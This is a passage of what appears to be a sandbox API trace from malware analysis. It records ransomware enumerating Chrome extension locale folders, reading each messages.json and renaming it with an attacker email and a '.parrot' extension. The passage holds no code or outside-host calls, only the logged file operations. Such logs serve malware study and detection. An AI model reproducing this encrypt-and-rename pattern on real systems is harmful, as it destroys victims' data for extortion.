liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.927] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x231, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.928] CloseHandle (hObject=0x28c) returned 1 [0071.928] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.933] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85a3300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85a3300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85a3300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.934] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.934] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x266, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.935] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.935] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.936] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.936] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x14e, lpOverlapped=0x0) returned 1 [0071.936] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.936] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x266, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.936] CloseHandle (hObject=0x28c) returned 1 [0071.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.938] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85c9460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.939] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.939] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.941] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.941] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.941] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.941] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dd, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.941] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.941] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.942] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.942] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc5, lpOverlapped=0x0) returned 1 [0071.942] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.942] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.942] CloseHandle (hObject=0x28c) returned 1 [0071.943] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.945] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.945] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85c9460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.945] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.945] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.945] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.945] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.945] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.945] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.945] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.946] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.946] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.946] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.947] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.947] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xbe, lpOverlapped=0x0) returned 1 [0071.947] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.947] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.947] CloseHandle (hObject=0x28c) returned 1 [0071.947] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.949] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85ef5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.949] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85c9460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.950] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.952] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.952] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.953] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.953] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.953] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.953] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.953] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.953] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.954] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.954] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x104, lpOverlapped=0x0) returned 1 [0071.954] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.954] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.954] CloseHandle (hObject=0x28c) returned 1 [0071.955] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.960] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb85ef5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.960] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.960] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.961] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.961] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.961] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.961] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, 